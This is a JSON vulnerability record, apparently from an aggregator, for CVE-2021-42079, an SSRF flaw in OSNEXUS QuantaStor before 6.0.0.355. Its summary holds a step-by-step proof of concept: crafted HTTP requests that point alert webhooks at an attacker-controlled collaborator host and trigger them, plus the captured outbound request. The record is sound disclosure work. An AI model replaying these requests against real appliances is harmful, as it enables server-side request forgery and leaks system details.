{
  "schemaVersion": 1,
  "attribution": [
    {
      "source": "CISA Known Exploited Vulnerabilities",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog",
      "licence": "US government work"
    },
    {
      "source": "GitHub Advisory Database",
      "url": "https://github.com/advisories",
      "licence": "CC BY 4.0"
    },
    {
      "source": "Have I Been Pwned",
      "url": "https://haveibeenpwned.com/",
      "licence": "CC BY 4.0"
    },
    {
      "source": "CVE Program (CVE records)",
      "url": "https://www.cve.org/Legal/TermsOfUse",
      "licence": "CVE Terms of Use",
      "notice": "Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation.",
      "terms": "CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy."
    },
    {
      "source": "FIRST EPSS",
      "url": "https://www.first.org/epss/",
      "licence": "free to use; FIRST requests attribution"
    }
  ],
  "record": {
    "id": "CVE-2021-42079",
    "sourceURL": "https://www.cve.org/CVERecord?id=CVE-2021-42079",
    "idYear": 2021,
    "status": "PUBLISHED",
    "publishedAt": "2023-07-10T06:29:48.339Z",
    "updatedAt": "2025-09-22T06:40:03.059Z",
    "importedAt": "2026-10-24T01:56:32.228Z",
    "snapshot": {
      "id": "cve_2026-10-24_midnight_baseline",
      "at": "2026-10-24T00:00:00.000Z",
      "source": "https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z"
    },
    "facts": {
      "title": "SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355",
      "summary": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://<HOSTNAME>)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '<redacted>', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####",
      "affected": [
        {
          "vendor": "OSNEXUS",
          "product": "QuantaStor",
          "collectionURL": "https://www.osnexus.com/downloads",
          "platforms": [
            "Windows",
            "Linux"
          ],
          "defaultStatus": "unknown",
          "versions": [
            {
              "version": "0",
              "status": "affected",
              "versionType": "semver",
              "lessThan": "6.0.0.355"
            }
          ]
        }
      ]
    }
  }
}